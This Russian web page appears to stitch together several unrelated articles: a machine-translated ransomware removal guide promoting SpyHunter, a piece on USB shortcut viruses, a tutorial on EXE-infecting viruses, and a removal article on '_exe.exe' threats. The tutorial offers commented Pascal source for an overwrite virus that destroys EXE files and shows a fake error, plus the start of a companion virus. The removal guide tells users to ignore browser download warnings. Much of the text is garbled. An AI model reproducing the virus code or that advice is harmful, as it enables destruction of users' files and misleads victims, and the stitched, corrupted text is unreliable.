Легкие шаги для удаления.exe File Virus из системы
.exe File Virus – это заражение вредоносным файлом, которое относится к семейству ransomware. Основная цель этого вируса – заблокировать вашу систему и шифровать всевозможные системные файлы. Обнаружена команда удалённого хакера с основной целью вымогать огромные деньги, чинив невинных пользователей. Он входит в вашу систему с помощью вложений спам-писем, содержащих зараженные файлы и документы. Он также прилагается к пакету бесплатной программы, которую пользователи загружают и устанавливают в вашу систему через стороннюю веб-страницу. После инфильтрации .exe File Virus будет глубоко сканировать весь жесткий диск для шифрования всех видов системных файлов, таких как Word, Excel, Powerpoint, изображений, изображений, аудио, видео, игр и приложений и т. Д. Он использует строгий криптографический алгоритм AES и RSA-шифр для шифрования всех ваших данных и файлов. Он также добавляет собственное расширение в конце каждого файла, что делает их недоступными.
Как.exe File Virus проникает в Жертвы:
После успешного шифрования всех видов файлов .exe File Virus попытается проникнуть в жертву с помощью отправки выписки за выкуп на экране компьютера. В этом сообщении говорится, что все ваши данные и файлы были зашифрованы с помощью сильных ключей шифрования. Чтобы восстановить все данные и файл, вам необходимо приобрести ключ дешифрования, стоимость которого составляет около 500 долларов США, и вы должны будете заплатить эту сумму в виде битовых монет в течение 48 часов, иначе ваши данные и файл будут удалены постоянно из вашей системы.
Если жертва выкупа выкупит деньги:
Жертва не должна платить выкупным деньгам хакеру, потому что нет никаких гарантий, что вы будете восстанавливать все файлы или не только после того, как заплатили деньги выкупа хакеру. Есть высокая вероятность того, что вы потеряете свои файлы и деньги. Он также будет собирать ваши личные и конфиденциальные данные, такие как пароль, данные банковского счета, IP-адрес и т. Д. Для использования злом.
Как восстановить все файлы и удалить.exe File Virus:
Чтобы восстановить все файлы, жертвам необходимо как можно больше удалить этот вирус. Но так сложно обнаружить и устранить обычную антивирусную программу. Не беспокойтесь, здесь приведено руководство по эффективному удалению, которое поможет вам легко и просто удалить .exe File Virus из вашей системы. Сразу после того, как вы сможете легко восстановить все данные и файл с помощью законного восстановления программного обеспечения и инструмента.
Инструкции по удалению.exe File Virus
План а: избавиться от.exe File Virus с ручным процессом (рекомендуется кибер экспертов и топ техников только)
План б : удалить.exe File Virus с ПК Windows, используя средство автоматического удаления (сейф и легко для всех пользователей ПК)
Windows OS план а: избавиться от.exe File Virus с ручным
Перед выполнением ручного процесса, есть несколько вещей, которые должны быть подтверждены. Во-первых, это, что вы должны иметь технические знания и Рик опыт удаления ПК вредоносных программ вручную. Необходимо иметь глубокие знания записей системного реестра и файлов. Должны иметь возможность отменить неправильные шаги и должны знать возможные негативные последствия, которые могут возникнуть из вашей ошибки. Если вы не выполняете эти базовые технические знания, план будет очень рискованно, и его следует избегать. В таком случае он настоятельно рекомендуется включить для Plan B, который легче и поможет вам обнаружить и удалить .exe File Virus легко с помощью автоматического инструмента. (С SpyHunter и RegHunter)
Шаг 1 : Удалить.exe File Virus из панели управления
Шаг 2: Удалить.exe File Virus из браузеров
На Chrome:
Открыть Google Chrome > нажмите меню Chrome > выберите Инструменты > щелкните расширение > выберите.exe File Virus расширения > корзину
На Firefox:
Откройте Firefox > перейти на правом углу, чтобы открыть меню браузера > выберите Дополнения > выбрать и удалить расширения.exe File Virus
В Internet Explorer:
Откройте IE > нажмите Инструменты > нажмите на управление надстройками, инструменты и расширения > выберите расширения .exe File Virus
и его элементы и удалите их.
Шаг 3: Удалить.exe File Virus вредоносные файлы и записи из реестра
3. Обнаружение записи реестра, созданные.exe File Virus и тщательно удалить их по одному
- HKLM\SOFTWARE\Classes\AppID\
.exe - HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\Main\Start Page Redirect=”http://
.com” - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\virus name
- HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell” = “%AppData%\<.exe File Virus>.exe”
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- ‘Random’ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Random
План б: удалить.exe File Virus с автоматической.exe File Virus утилиту
Step1. Сканируете зараженный компьютер с SpyHunter, чтобы удалить.exe File Virus.
1. Нажмите на кнопку Загрузить, чтобы безопасно скачать SpyHunter.
Примечание : Во время загрузки SpyHunter в вашем ПК, ваш браузер может отображать поддельные предупреждение таких, как «этот тип файла может нанести вред вашему компьютеру. Вы все еще хотите сохранить Download_Spyhunter-installer.exe так или иначе?». Помните, что это обман сообщение, которое фактически порожденных PC инфекции. Вы должны просто игнорировать сообщение и нажмите на кнопку «Сохранить».
2. Запустите SpyHunter-Installer.exe установки SpyHunter, с помощью установщика программного обеспечения Enigma.
3. После завершения установки получает SpyHunter для сканирования компьютера и поиск глубоко, чтобы обнаружить и удалить.exe File Virus и связанные с ней файлы. Любые вредоносные программы или потенциально нежелательные программы автоматически получить отсканированы и обнаружены.
4. Нажмите на кнопку «Исправить угроз», чтобы удалить все компьютерные угрозы, обнаруженные SpyHunter.
Шаг 2. Используйте RegHunter для максимизации производительности ПК
1. Нажмите, чтобы скачать RegHunter вместе с SpyHunter
2. Запустите RegHunter-Installer.exe для установки RegHunter через установителя
Методы, используемые средством автоматического удаления.exe File Virus
Exe File Virus является очень современных вредоносных программ инфекции, так что это очень трудно для анти-вредоносных программ получает свое определение, обновление для таких атак вредоносного по. Но с автоматической.exe File Virus средство удаления, нет никаких таких вопросов. Этот сканер вредоносных программ получает регулярные обновления для последних определений вредоносных программ и таким образом он может очень быстро сканировать компьютер и удалить все виды угроз вредоносных программ, включая шпионских программ, вредоносного по, троянских и так далее. Многие опросы и компьютерных экспертов утверждает это как лучший инструмент удаления инфекции для всех версий Windows PC. Этот инструмент будет полностью отключить связь между кибер криминалистической и ваш компьютер. Она имеет очень предварительный алгоритм сканирования и три шага процесс удаления вредоносных программ так, чтобы сканирование процесс, а также удаления вредоносных программ становится очень быстро.
Читайте, как удалить вирус преобразующий файлы и папки в ярлыки . Как восстановить данные, которые утеряны в результате деятельности такого вируса. Ваши файлы и папки на USB флешке или карте памяти стали ярлыками? USB флешка или карта памяти после подключения к компьютеру отображается как ярлык? Ищете как восстановить данные и удалить вирус, преобразовывающий файлы и папки в ярлыки? Вы используете антивирус, но компьютер все равно был инфицирован? К сожалению не все антивирусы могут защитить вас такого заражения.
Разновидности вирусов ярлыков
На сегодня наиболее распространены 2 типа вирусов, создающих ярлыки: первые создают ярлыки вместо файлов и папок на флешке или карте памяти, другие создают ярлыки съемных дисков вместо самих флешек, внешних USB дисков и карт памяти.
Названия наиболее распространенных вирусов:
- Bundpil.Shortcu;
- Mal/Bundpil-LNK;
- Ramnit.CPL;
- Serviks.Shortcut;
- Troj/Agent-NXIMal/FakeAV-BW;
- Trojan.Generic.7206697 (B);
- Trojan.VBS.TTE (B);
- Trojan.VBS.TTE;
- VBS.Agent-35;
- VBS.Serviks;
- VBS/Autorun.EY worm;
- VBS/Autorun.worm.k virus;
- VBS/Canteix.AK;
- VBS/Worm.BH;
- W32.Exploit.CVE-2010_2568-1;
- W32.Trojan.Starter-2;
- W32/Sality.AB.2;
- Win32/Ramnit.A virus;
- Worm:VBS/Cantix.A;
Вирус, преобразующий файлы и папки в ярлыки
Этот вирус дублирует ваши файлы и папки, затем прячет и заменяет их. Вирус представляет комбинацию вирусов трояна и червя. Опасность заключается в том, что вы запускаете вирус каждый раз, когда хотите открыть ваш файл или папку. После запуска вирус распространяет себя заражая все большее количество файлов и часто устанавливает дополнительно вредоносное ПО которое может украсть данные о паролях и кредитных картах, сохраненных у вас на компьютере.
Вирус, преобразующий флешки и карты памяти в ярлыки
Это чистокровный троянский вирус, который скрывает любые съемные устройства, подключенные к компьютеру и заменяет их ярлыками этих устройств. Каждый раз кликая по ярлыку вы снова запускаете вирус, который ищет на вашем компьютере финансовую информацию и отправляет ее мошенникам, создавшим вирус.
Что делать в случае заражения
К сожалению не все антивирусы могут вовремя обнаружить опасность и защитить вас от инфицирования. Поэтому наилучшей защитой будет не использовать автоматический запуск съемных устройств и не кликать по ярлыкам файлов, папок или дисков. Будьте внимательны и не кликайте по ярлыкам, которые вы не создавали сами. Вместо двойного клика для открытия диска, кликните по нему правой кнопкой мышки и выберите Развернуть в Проводнике.
Восстановление данных удаленных вирусом
Для надежного восстановления данных удаленных таким типом вирусов используйте Hetman Partition Recovery . Поскольку программа использует низкоуровневые функции по работе с диском, она обойдет вирусную блокировку и прочитает все ваши файлы.
Загрузите и установите программу , затем проанализируйте зараженную флешку или карту памяти. Проведите восстановление информации до очистки носителя от вируса . Наиболее надежным вариантом лечения будет очистка флешки с помощью команды DiskPart, это удалит всю информацию на ней.
Удаление вируса с карты памяти или USB флешки
После восстановления данных с флешки вы можете её полностью очистить с помощью утилиты DiskPart. Удаление всех файлов и форматирование устройства может оставить вирус, который спрячется в загрузочном секторе, таблице разделов или на неразмеченной области диска. Как правильно очистить флешку смотрите в видео.
Удаление вируса с флешки с помощью командной строки
Данный способ не позволяет гарантированно очистить флешку от всех видов вирусов, но сможет удалить вирус, который создает ярлыки вместо файлов. Вам не нужно будет скачивать и устанавливать сторонние утилиты, удаление производится с помощью встроенного в любую версию Windows инструмента.
Удаление вируса с компьютера
Наиболее простым и надежным способом очистки компьютера от вируса будет полная переустановка Windows с удалением системного раздела.
Но если вы являетесь опытным пользователем, вы можете опробовать следующий способ:
В этой статье рассказано о вирусах , заражающих ЕХЕ-файлы . Приведена классификация таких вирусов , подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы .
СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ- «монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы .
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ , ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла , и таблицы для настройки адресов (Relocation Table ). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти,размер
которого достаточен для размещения программы.
2.Создается и заполняется блок памяти для переменных среды.
3.Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа).
В поля PSP заносятся соответствующие значения.
4.Адрес DTA устанавливается равным PSP:0080h.
5.В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла .
6.Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7.Определяется смещение загрузочного модуля в файле, равное
8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.
9.Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).
10.Для каждого входа таблицы настройки:
a)читаются слова I_OFF и I_SEG;
b)вычисляется RELC^SEG-START^SEG+LSEG;
c)читается слово по адресу RELO_SEG:I_OFF;
d)к прочитанному слову прибавляется START_SEG;
e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11.Распределяется память для программы в соответствии с МахМет
12.Инициализируются регистры, выполняется программа:
b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;
c)SS°START_SEG+ReloSS, SP-ExeSP;
d)CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы Overwrite ) Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл , но с расширением СОМ . Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ . Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла . Если не найден и ЕХЕ-файл , DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH . Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус ,код которого находится в СОМ-файле . Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле . Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ , поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов , зараженных вирусом этого типа, может быть затруднено,если вирус -спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.
Вирусы , внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл .
Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса , а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус . Похоже на заражение СОМ-файлов , но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код , а после него - код инфицируемой программ ы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа - «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса . На это место записывается тело вируса .Начало программы из памяти дописывается в конец файла. Отсюда название метода - «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы , которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы , замещающие программный код (Overwrite ) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы , созданные на языке Assembler , но это, скорее, соревнование в написании самого маленького overwrite-вируса . На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», - пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$М 2048, 0, 0}
{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}
(Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса }
VirLabel: String=’Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла }
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array of Char;
{Файловая переменная для работы с файлами}
(Еще одна файловая переменная - хотя без нее можно было обойтись, так будет понятнее)
{Для имени найденного файла)
TargetFile: PathStr;
(Буфер для тела вируса )
VirBuf: Array [-I.VirLen] of Char;
(Для даты/времени файла)
(Счетчик количества инфицированных файлов)
Dirlnfo: SearchRec;
LabelBuf: Array of Char;
(Инициализация)
LabelBuf :=VirLabel;
LabelBuf:=VirLabel;
LabelBuf:=VirLabel,
LabelBuf:=VirLabel;
LabelBuf:=VirLabel;
(Обнуляем счетчик количества инфицированных файлов }
(Связываем файловую переменную VirBody с именем программы из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
(Поиск жертвы}
procedure FindTarget;
(Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт - если файл уже заражен,там находится метка вируса }
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус }
VirusPresent:=True;
(Процедура заражения}
procedure InfectFile;
{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции а длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
{Увеличиваем счетчик инфицированных файлов }
{Начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive }
FindFirstF.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
If Sr.Name=» Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
{Основное тело}
(Инициализируемся}
{Ищем жертвы и заражаем их}
{Выдаем на экран сообщение об ошибке}
WriteLn(‘Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}
WriteLn(VirName);
WriteLn(Author);
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая «чужого кота» (ЕХЕ-программу ), создать «своего» - СОМ-файл с именем ЕХЕ-программы . Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом , считывания в буфер тела вируса , запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2.Найти ЕХЕ-файл -жертву.
3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.
4.Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.
5.С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ .
6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим
($М 2048, 0, 0}
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
{Имя вируса)
VirName=’Guesf;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
{Для имени найденного файла)
TargetFile: PathStr;
Сегодня Интернет является достаточно небезопасным виртуальным пространством, откуда пользователь может подхватить какую-нибудь заразу в или исполняемого кода. Относительно недавно появилась новая разновидность угроз, интерпретируемая как «вирус_exe.exe». Попробуем разобраться в том, как такие угрозы воздействуют на систему, и как с ними бороться оптимальным способом.
EXE-файлы или блокирует их: последствия воздействия
Вирусы, воздействующие именно на исполняемые файлы, известны достаточно давно (еще со времен DOS, когда Windows-систем и в помине не было). На заре развития компьютерной техники «экзешные» файлы являлись самыми основными в системе. Неудивительно, что были сосредоточены именно на них. Кстати, это касается и некоторых мобильных девайсов, работающих под управлением ОС Windows.
Увы, сегодня ситуация, когда EXE-объекты, переименовывает их в двойное расширение или просто заменяет собой оригинальные файлы, выглядит чуть ли не катастрофичной.
Собственно, на системе это отображается так, что при запуске какого-то приложения Windows выдает сообщение о том, что такой объект не найден или к нему нет доступа. Тут ситуация проявляется в нескольких вариантах:
Как уже понятно, в любой ситуации система не распознает искомый объект. Частенько угрозы этого типа проникают в систему, когда производится, например, обновление браузера или пользовательской программы из сомнительного источника. Многие юзеры по неопытности отключают антивирусную защиту или даже расширения браузеров вроде AdBlock, которые способны блокировать всплывающие рекламные окна, выпадающие меню, автоматически загружаемые компоненты и т. д. Этого делать нельзя ни в коем случае.
Вирус создает файлы EXE: как это отражается на системе?
Когда угроза начинает воздействовать на зараженный компьютер путем создания новых исполняемых компонентов, тут тоже можно найти несколько вариантов. В большинстве случаев выделяют два основных:
- создается объект с новым названием «вирус»_exe.exe, где «вирус» - это имя файла, или с оригинальным именем;
- вирус дублирует «экзешные» файлы, встраивая в свои клоны вредоносные коды.
В первом случае найти и обезвредить такую угрозу оказывается намного проще (чуть позже это будет показано на примере вируса some-exe.exe). Во второй ситуации дело обстоит несколько сложнее, поскольку в большинстве случаев сама угроза маскируется под системный процесс (достаточно вспомнить проблемы с объектами вроде svchost.exe).
Все ли антивирусы годятся для лечения?
Что касается средств обнаружения таких угроз, лечения зараженных файлов или изоляции вирусов в карантине, тут не все так просто. А многие бесплатные антивирусные пакеты вообще не годятся.
Известно немало случаев, когда те же бесплатные пакеты AVG и Avira при обнаружении угроз типа «вирус_exe.exe», которые заражали исполняемые файлы (заметьте, не удаляли или подменяли их), при неудачной попытке лечения инфицированных объектов даже не помещали их в карантин, а, что называется, бессовестно удаляли. К чему это приводило? К полной переустановке всей системы.
Оптимальные средства поиска и удаления
Если уж задаваться вопросами эффективного и и лечения, тут стоит обратить внимание на портативные утилиты вроде Dr. Web CureIt! или KVRT «Лаборатории Касперского».
Однако, как показывает практика, для самого глубокого сканирования (вплоть до оперативной и системной памяти) самым мощным средством являются специальные программы наподобие Kaspersky Rescue Disk. Принцип их работы состоит в том, что изначально создается загрузочный USB или оптический носитель, с которого происходит запуск антивирусного сканера еще до загрузки Windows. При этом такие сканеры способны находить даже глубоко скрытые или тщательно замаскированные объекты, которые не распознаются штатными или портативными антивирусами.
К примеру, вирус Windows, EXE-файлы или папки (с добавлением в их название расширения.exe) определяются достаточно быстро, в то время как штатные сканеры созданные объекты могут пропускать. К тому же зачастую может изменяться и путь к системным файлам, в результате чего обращение происходит не к оригинальному файлу, а к его опасному клону даже на стадии загрузки.
Вирусы типа «_exe.exe»: ручное удаление на примере угрозы some_exe.exe
Теперь изучим разновидность угроз с общим названием «вирус_exe.exe» на конкретном примере.
Как уже говорилось, выявить его можно достаточно просто. Для начала останавливаем одноименный процесс в Диспетчере задач, а затем задаем поиск в Проводнике или любом другом файловом менеджере, а в качестве условия в строку вписываем либо полное имя, либо *exe.exe* (звездочки в строке ставить обязательно). В принципе, можно поступить и проще, поскольку сам файл «прописывается» в папке System32. Удаляем его оттуда. После этого удаляем аналогичную динамическую библиотеку some_dll.dll (если удаление невозможно, сначала оба объекта нужно просто переименовать).
Теперь заходим в редактор системного реестра (команда regedit в меню «Выполнить», вызываемом клавишами Win + R), где снова используем поиск (либо из главного меню, либо сочетанием Ctrl + F). Задаем в поиске полное название, а результаты полностью удаляем.
Если по каким-либо причинам последствия воздействия вируса все равно проявляются, находим файл HOSTS, расположенный в каталоге etc папки drivers, который в свою очередь находится в директории System32 основного тома (Windows) на системном диске, открываем его и удаляем все строки, находящиеся ниже значения «# ::1 localhost». Перегружаем систему, и все работает нормально. Как видим, при этом даже не нужен.
Заключение
Вот вкратце и все, что касается вирусов, воздействующих на исполняемые EXE-файлы. Методика их обнаружения и блокирования достаточно проста. Однако лучше всего использовать восстановительные «диски спасения», что не пропустить угрозу и не заниматься ее устранением вручную.
